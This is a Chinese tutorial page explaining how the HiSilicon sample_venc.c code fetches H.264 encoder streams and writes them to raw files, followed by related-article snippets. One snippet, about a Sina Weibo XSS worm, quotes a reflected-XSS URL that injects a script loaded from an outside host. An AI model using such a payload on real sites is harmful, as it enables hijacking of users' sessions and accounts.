第二季8:保存编码得到的码流(step6:Save to File)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。

前言

本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“ 保存编码得到的码流 ”。

即把编码得到的三路码流(三路码流都是H264格式的,只是分辨率不同)保存为裸流文件(这里保持为stream_ch0.h264、stream_ch1.h264、stream_ch2.h264文件)。

我们首先列出该部分(称之为StoF)的函数调用关系图谱,然后分析其具体代码细节。

一、StoF的函数调用关系

StoF部分的函数调用关系如下所示:

SAMPLE_COMM_VENC_StartGetStreamSAMPLE_COMM_VENC_GetVencStreamProc//是一个线程函数//step1HI_MPI_VENC_GetChnAttrSAMPLE_COMM_VENC_GetFilePostfix//添加文件后缀(比如.h264)pFile[i] = fopen(aszFileName[i], "wb")HI_MPI_VENC_GetFd//获取编码通道对应的设备文件句柄//step2step2_1 :HI_MPI_VENC_Query //查询编码通道状态step2_2 step2_3 :malloc//申请码流空间step2_4 :HI_MPI_VENC_GetStream//获取一帧图像的编码码流step2_5 :SAMPLE_COMM_VENC_SaveStream//保存码流到文件中(若RTSP发送则修改这里)SAMPLE_COMM_VENC_SaveH264fwritestep2_6 :HI_MPI_VENC_ReleaseStream//释放编码码流step2_7 :free//释放buff?//step3close //关闭文件

由此可知,该部分包括以下几个步骤:

  • 获取编码通道对应的设备文件句柄
  • 查询编码通道的状态
  • 申请码流空间
  • 获取一帧图像的编码码流
  • 保存码流到文件中
  • 释放编码码流

下面我们将详细介绍这几个步骤的代码细节。

二、StoF的代码详解

1、StoF代码整体分析

StoF的代码如下,主要是SAMPLE_COMM_VENC_StartGetStream,其参数s32ChnNum在step1时被初始化为3。

    /******************************************step 6: stream venc process -- get stream, then save it to file. ******************************************/s32Ret = SAMPLE_COMM_VENC_StartGetStream(s32ChnNum);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("Start Venc failed!\n");goto END_VENC_1080P_CLASSIC_5;}printf("please press twice ENTER to exit this sample\n");getchar();getchar();

SAMPLE_COMM_VENC_GetVencStreamProc函数内容与分析如下,该函数获取每个编码通道的码流并保存为裸流文件。

/******************************************************************************
* funciton : get stream from each channels and save them
******************************************************************************/
HI_VOID* SAMPLE_COMM_VENC_GetVencStreamProc(HI_VOID *p)
{HI_S32 i;HI_S32 s32ChnTotal;VENC_CHN_ATTR_S stVencChnAttr;SAMPLE_VENC_GETSTREAM_PARA_S *pstPara;HI_S32 maxfd = 0;struct timeval TimeoutVal;fd_set read_fds;HI_S32 VencFd[VENC_MAX_CHN_NUM];HI_CHAR aszFileName[VENC_MAX_CHN_NUM][64];FILE *pFile[VENC_MAX_CHN_NUM];char szFilePostfix[10];VENC_CHN_STAT_S stStat;VENC_STREAM_S stStream;HI_S32 s32Ret;VENC_CHN VencChn;PAYLOAD_TYPE_E enPayLoadType[VENC_MAX_CHN_NUM];pstPara = (SAMPLE_VENC_GETSTREAM_PARA_S*)p;s32ChnTotal = pstPara->s32Cnt;//这个表示有多少个编码通道,这里等于3/******************************************step 1:  check & prepare save-file & venc-fd******************************************/if (s32ChnTotal >= VENC_MAX_CHN_NUM)//做一些错误检测{SAMPLE_PRT("input count invaild\n");return NULL;}for (i = 0; i < s32ChnTotal; i++)//即for(i=0;i<3;i++){/* decide the stream file name, and open file to save stream */VencChn = i;//将分别为 0,1,2//获取venc模块通道i的属性,这个属性在SAMPLE_COMM_VENC_Start函数中设置s32Ret = HI_MPI_VENC_GetChnAttr(VencChn, &stVencChnAttr);if(s32Ret != HI_SUCCESS){SAMPLE_PRT("HI_MPI_VENC_GetChnAttr chn[%d] failed with %#x!\n", \VencChn, s32Ret);return NULL;}enPayLoadType[i] = stVencChnAttr.stVeAttr.enType;//获取图像的传输格式//根据图像的传输格式,来决定文件名的后缀,保存在szFilePostfix这个字符数组里s32Ret = SAMPLE_COMM_VENC_GetFilePostfix(enPayLoadType[i], szFilePostfix);if(s32Ret != HI_SUCCESS){SAMPLE_PRT("SAMPLE_COMM_VENC_GetFilePostfix [%d] failed with %#x!\n", \stVencChnAttr.stVeAttr.enType, s32Ret);return NULL;}//合成裸流文件的文件名“stream_chn0.h264”“stream_chn1.h264”“stream_chn2.h264”sprintf(aszFileName[i], "stream_chn%d%s", i, szFilePostfix);//“读改写”三部曲之“读”(打开)pFile[i] = fopen(aszFileName[i], "wb");if (!pFile[i]){SAMPLE_PRT("open file[%s] failed!\n", aszFileName[i]);return NULL;}/* Set Venc Fd. */VencFd[i] = HI_MPI_VENC_GetFd(i);//获取编码通道对应的设备文件句柄,i表示编码通道号if (VencFd[i] < 0){SAMPLE_PRT("HI_MPI_VENC_GetFd failed with %#x!\n", VencFd[i]);return NULL;}if (maxfd <= VencFd[i]){maxfd = VencFd[i];}}/******************************************step 2:  Start to get streams of each channel.******************************************/while (HI_TRUE == pstPara->bThreadStart)//上层传过来的,这个成立{//select函数相关的内容见相关博客,这里先略过FD_ZERO(&read_fds);for (i = 0; i < s32ChnTotal; i++){FD_SET(VencFd[i], &read_fds);}TimeoutVal.tv_sec  = 2;TimeoutVal.tv_usec = 0;s32Ret = select(maxfd + 1, &read_fds, NULL, NULL, &TimeoutVal);if (s32Ret < 0){SAMPLE_PRT("select failed!\n");break;}else if (s32Ret == 0){SAMPLE_PRT("get venc stream time out, exit thread\n");continue;}else//一般这里成立{for (i = 0; i < s32ChnTotal; i++){if (FD_ISSET(VencFd[i], &read_fds))//这里表示啥意思?{/*******************************************************step 2.1 : query how many packs in one-frame stream.*******************************************************/memset(&stStream, 0, sizeof(stStream));//查看编码通道的状态,i是编码通道号,stState是输出型参数,通道状态信息在其中s32Ret = HI_MPI_VENC_Query(i, &stStat);if (HI_SUCCESS != s32Ret){SAMPLE_PRT("HI_MPI_VENC_Query chn[%d] failed with %#x!\n", i, s32Ret);break;}/*******************************************************step 2.2 :suggest to check both u32CurPacks and u32LeftStreamFrames at the same time,for example:if(0 == stStat.u32CurPacks || 0 == stStat.u32LeftStreamFrames){SAMPLE_PRT("NOTE: Current  frame is NULL!\n");continue;}*******************************************************/if(0 == stStat.u32CurPacks){SAMPLE_PRT("NOTE: Current  frame is NULL!\n");continue;}/*******************************************************step 2.3 : malloc corresponding number of pack nodes.*******************************************************///这个结构体指针指向所申请的(由一帧的所有数据包组成的)空间//其中VENC_PACK_S是数据包结构体//stStat.u32CurPacks是一帧图像包含的数据包数量stStream.pstPack = (VENC_PACK_S*)malloc(sizeof(VENC_PACK_S) * stStat.u32CurPacks);if (NULL == stStream.pstPack){SAMPLE_PRT("malloc stream pack failed!\n");break;}/*******************************************************step 2.4 : call mpi to get one-frame stream*******************************************************/stStream.u32PackCount = stStat.u32CurPacks;//该函数获取编码的码流,参数1表示编码通道号,//参数2表示码流结构体指针,参数3表示码流超时时间s32Ret = HI_MPI_VENC_GetStream(i, &stStream, HI_TRUE);if (HI_SUCCESS != s32Ret){free(stStream.pstPack);stStream.pstPack = NULL;SAMPLE_PRT("HI_MPI_VENC_GetStream failed with %#x!\n", \s32Ret);break;}/*******************************************************step 2.5 : save frame to file*******************************************************///该函数将码流写进文件里面s32Ret = SAMPLE_COMM_VENC_SaveStream(enPayLoadType[i], pFile[i], &stStream);if (HI_SUCCESS != s32Ret){free(stStream.pstPack);stStream.pstPack = NULL;SAMPLE_PRT("save stream failed!\n");break;}/*******************************************************step 2.6 : release stream*******************************************************/s32Ret = HI_MPI_VENC_ReleaseStream(i, &stStream);if (HI_SUCCESS != s32Ret){free(stStream.pstPack);stStream.pstPack = NULL;break;}/*******************************************************step 2.7 : free pack nodes*******************************************************/free(stStream.pstPack);stStream.pstPack = NULL;}}}}/******************************************************** step 3 : close save-file*******************************************************/for (i = 0; i < s32ChnTotal; i++){fclose(pFile[i]);}return NULL;
}

下面我们将重点分析这两个内容:

(1) HI_MPI_VENC_GetStream(i, &stStream, HI_TRUE)

(2)SAMPLE_COMM_VENC_SaveStream(enPayLoadType[i], pFile[i], &stStream)

2、SAMPLE_COMM_VENC_SaveStream函数分析

该函数有3个参数,参数1表示图像传输格式,参数2表示码流要保存到哪个文件,参数3表示码流的结构体指针。该函数内部通过判断参数1来选择不同的保存方式,案例里参数1是PT_H264,于是下一步是SAMPLE_COMM_VENC_SaveH264这个函数。

SAMPLE_COMM_VENC_SaveH264函数包括2个参数,参数1表示码流要保存到哪个文件,参数2表示码流的结构体指针。该函数的内容与分析如下所示。

/******************************************************************************
* funciton : save H264 stream
******************************************************************************/
HI_S32 SAMPLE_COMM_VENC_SaveH264(FILE* fpH264File, VENC_STREAM_S *pstStream)
{HI_S32 i;for (i = 0; i < pstStream->u32PackCount; i++){          /*每个数据包的首地址 + 每个数据包的有效数据相对于首地址的偏移量*/fwrite(pstStream->pstPack[i].pu8Addr + pstStream->pstPack[i].u32Offset,/*每个数据包的长度 - 每个数据包的有效数据相对于首地址的偏移量 = 有效数据长度*/pstStream->pstPack[i].u32Len-pstStream->pstPack[i].u32Offset, 1,//写入一次fpH264File);//写入哪个文件fflush(fpH264File);//表示立即将输出缓冲区的数据写入该文件中?}return HI_SUCCESS;
}

关于fwrite、fflush函数的用法,见博客fwrite函数与fflush函数_天糊土的博客-CSDN博客。

3、HI_MPI_VENC_GetStream函数分析

该函数的具体介绍,见文档《HiMPP IPC V2.0 媒体处理软件开发参考.pdf_1111》的第539页。这里仅摘抄与整理部分内容。

函数原型:

HI_S32 HI_MPI_VENC_GetStream(VENC_CHN VeChn, VENC_STREAM_S *pstStream, HI_S32 s32MilliSec);

调用实例:

s32Ret = HI_MPI_VENC_GetStream(i, &stStream, HI_TRUE); 

其中参数1表示编码通道的编号,参数2是输出型参数,表示码流的结构体指针,参数3表示获取码流的超时时间。

(1)支持设置超时方式

取-1表示阻塞(即如果缓冲无数据,则会等待有数据时才返回获取成功),取0表示非阻塞(即如果缓冲无数据,则立即返回失败),取大于0的数字表示超时时间(即如果缓冲无数据,则会等待用户设定的超时时间,若在设定的时间内有数据则返回获取成功,否则返回超时失败)。

(2)支持按帧或者按包的方式获取码流

如果按包的方式获取码流,对于 H.264/265 编码协议,每次获取的是一个 NAL 单元。

(3)帧码流结构体 VENC_STREAM_S的详解

//“ 帧码流 ” 表示一帧图像对应的码流
typedef struct hiVENC_STREAM_S
{VENC_PACK_S *pstPack; //指向帧码流包的指针HI_U32      u32PackCount; //帧码流的所有包的个数HI_U32      u32Seq; //码流序列号,按帧获取则表示帧序号,按包获取则表示包序号                            union{   //码流特征信息VENC_STREAM_INFO_H264_S  stH264Info;         /*the stream info of h264*/VENC_STREAM_INFO_JPEG_S  stJpegInfo;         /*the stream info of jpeg*/VENC_STREAM_INFO_MPEG4_S stMpeg4Info;       /*the stream info of mpeg4*/VENC_STREAM_INFO_H265_S  stH265Info;        /*the stream info of h265*/};
}VENC_STREAM_S;

A、帧码流包结构体 VENC_PACK_S

typedef struct hiVENC_PACK_S
{HI_U32   u32PhyAddr; //每个码流包的物理地址       /*the physics address of stream*/HI_U8   *pu8Addr;  //每个码流包首地址             /*the virtual address of stream*/HI_U32   u32Len;   //每个码流包长度               /*the length of stream*/HI_U64   u64PTS; //时间戳,单位us                 /*PTS*/HI_BOOL  bFrameEnd; //帧结束标识                 /*frame end*///码流类型,支持 H.264/JPEG/MPEG-4 协议类型的数据包。VENC_DATA_TYPE_U  DataType;                     /*the type of stream*/HI_U32   u32Offset;//每个码流包中有效数据与码流包首地址 pu8Addr 的偏移。HI_U32 u32DataNum;//当前码流包(类型由 DataType 指定)数据中包含其他类型码流包的个数。VENC_PACK_INFO_S stPackInfo[8];//当前码流包数据中包含其他类型码流包数据信息
}VENC_PACK_S;/*
(1)关于帧结束标志
HI_TRUE表示该码流包是该帧的最后一个包,HI_FALSE表示该码流包不是该帧的最后一个包。*/

VENC_PACK_S类型的指针变量pstPack,它指向一组 VENC_PACK_S 的内存空间,该空间由调用者分配。如果是按包获取,则此空间不小于 sizeof(VENC_PACK_S)的大小;如果按帧获取,则此空间不小于 N × sizeof(VENC_PACK_S)的大小,其中 N 代表当前帧之中的包的个数,可以在 select 之后通过查询接口获得。

B、码流包个数 u32PackCount

此值指定 pstPack 中 VENC_PACK_S 的个数。按包获取时,u32PackCount 必须不小于 1;按帧获取时,u32PackCount 必须不小于当前帧的包个数。在函数调用成功后,u32PackCount 返回实际填充 pstPack 的包的个数。

C、序列号 u32Seq

按帧获取时是帧序列号;按包获取时为包序列号。

D、码流特征信息

数据类型为联合体,包含了不同编码协议对应的码流特征信息stH264Info/ stJpegInfo/stMpeg4Info/stH265Info,码流特征信息的输出用于支持用户的上层应用。

我们看一下H.264码流特征信息结构体VENC_STREAM_INFO_H264_S。

typedef struct hiVENC_STREAM_INFO_H264_S
{    //编码当前帧的字节(BYTE)数HI_U32 u32PicBytesNum;                          /* the coded picture stream byte number */
//编码当前帧中采用跳跃(SKIP)编码模式的宏块数HI_U32 u32PSkipMbNum;                           /* the skip macroblock num */
//编码当前帧中采用 IPCM 编码模式的宏块数   HI_U32 u32IpcmMbNum;                            /* the ipcm macroblock num */
//编码当前帧中采用 Inter16x8 预测模式的宏块数HI_U32 u32Inter16x8MbNum;                       /* the inter16x8 macroblock num */HI_U32 u32Inter16x16MbNum;                      /* the inter16x16 macroblock num */HI_U32 u32Inter8x16MbNum;                       /* the inter8x16 macroblock num */HI_U32 u32Inter8x8MbNum;                        /* the inter8x8 macroblock num */HI_U32 u32Intra16MbNum;                         /* the intra16x16 macroblock num */HI_U32 u32Intra8MbNum;                          /* the intra8x8 macroblock num */HI_U32 u32Intra4MbNum;                          /* the inter4x4 macroblock num */
//编码当前帧属于何种跳帧参考模式下的参考帧H264E_REFSLICE_TYPE_E enRefSliceType;           /*the reference type of H264E slice*/
//高级跳帧参考下的编码帧类型H264E_REF_TYPE_E      enRefType;                /*Type of encoded frames in advanced frame skipping reference mode*/
//通道属性或参数(包含 RC 参数)被设置的次数HI_U32 u32UpdateAttrCnt;                        /*Number of times that channel attributes or parameters (including RC parameters) are set*/	
//编码当前帧的 startqp 值HI_U32 u32StartQp;								/*StartQP Value*/
}VENC_STREAM_INFO_H264_S;

(4)码流包结构图

见第二季7:创建配置编码通道(step5:VENC部分)第一节的第5点内容描述。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460455.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

关于 ioctl 的 FIONREAD 參数

ioctl 是用来设置硬件控制寄存器&#xff0c;或者读取硬件状态寄存器的数值之类的。而read,write 是把数据丢入缓冲区&#xff0c;硬件的驱动从缓冲区读取数据一个个发送或者把接收的数据送入缓冲区。 ioctl(keyFd, FIONREAD, &b) 得到缓冲区里有多少字节要被读取&#xff…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

memset函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memset(void *s, int c, size_t n); 函数作用&#xff1a;将指针s所指向的内存的前n个字节的内容设置为c。 补充说明&#xff1a;用于初始化新申请的内存&#xff0c;它是对较大结构体或数…

快速切換手機版網頁語法

今天臨時接到一通電話&#xff0c;客戶的官方網站使用手機瀏覽時突然無法跳轉到手機版網頁&#xff0c;情急之下在五分鐘內拼出了Java Script 跳轉語法&#xff0c;加入在網頁內並成功讓手機用戶跳轉成功。 我想對於一般中小型企業來說&#xff0c;應該也是夠用的。 ▼ 一般用法…

memcpy函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memcpy(void *dest, const void *src, size_t n); 函数作用&#xff1a;将指针src所指向的内存的前n个字节&#xff0c;复制到指针dest所指向的内存中。 补充说明&#xff1a;dest和src所…

mysqldump 使用备忘

语法 导出所有数据库&#xff1a; mysqldump -u root -p -A > backupfile.sql导出指定数据库&#xff1a; mysqldump -u root -p -B dbName1 dbName2 > backupfile.sql导出指定表&#xff1a; mysqldump -u root -p -B dbName tableName1 tableName2 > backupfile.sql…

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

linux二重启动防止

#!/bin/bash # &#xff12;重起動チェック function checkDuplicate() {local RET0local base${0##*/}local pidfile"/tmp/${base}.pid"while true; doif ln -s $$ ${pidfile} 2> /dev/nullthen# 起動OKRET0 && breakelsep$(ls -l ${pidfile} | sed s.* …

17 redis -key设计原则

书签系统 create table book ( bookid int, title char(20) )engine myisam charset utf8;insert into book values (5 , PHP圣经), (6 , ruby实战), (7 , mysql运维), (8, ruby服务端编程);create table tags ( tid int, bookid int, content char(20) )engine myisam charse…

★Linux磁盘配额的使用 ★——牛刀小试

磁盘配额的作用&#xff1a;限制普通用户使用磁盘的空间和创建文件的个数&#xff0c;不至于因为个别人的浪费而影响所有人的使用 需要用户程序quota软件包 #rpm -qa | grep quota 查看quota软件包安装没 #mount -o usrquota,grpquota /dev/hda1 /mnt/one 使用usrquota,grpq…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

xcode工程命令行生成ipa安装包

主要使用两个命令 xcodebuild&#xff1a;将xcode工程打包成.app文件 xcrun&#xff1a;将app打包成.ipa文件 下面是写好的ant脚本&#xff1a; 1 <?xml version"1.0" encoding"UTF-8"?> 2 <project default"release" name"Pack…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…

边框颜色为 tintColor 的 UIButton

创建一个 UIButton 的子类&#xff0c;重写其方法&#xff1a; - (void)drawRect:(CGRect)rect {[[self layer] setCornerRadius:CORNER_RADIUS];[[self layer] setMasksToBounds:YES]; [[self layer] setBorderWidth:1];[[self layer] setBorderColor:self.tintColor.CGColo…

netty SimpleChannelInboundHandler类继承使用

2019独角兽企业重金招聘Python工程师标准>>> 继承一个SimpleChannelInboundHandler来实现我们的Client&#xff0c;我们需要重写其中的三个方法&#xff1a; package NettyDemo.echo.handler;import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; …

高中关于人工智能方面的课题_如何看待计算机专业开始设置人工智能课程

首先&#xff0c;当前计算机专业当中设置与人工智能相关的课程是一个必然的趋势&#xff0c;随着人工智能技术开始逐渐实现落地应用&#xff0c;未来计算机相关专业的课程当中&#xff0c;人工智能课程的比重也会逐渐提升&#xff0c;而且一定要重视这些课程&#xff0c;这对于…

Linux命令-目录处理命令:mkdir

mkdir /tmp/beijing mkdir -p /tmp/shijiazhuang/yuhuaqu 一条命令可以同时创建父目录和子目录 mkdir /tmp/beijing/chaoyangqu /tmp/beijing/dongchengqu /tmp/beijing/tongzhouqu 同时创建多个目录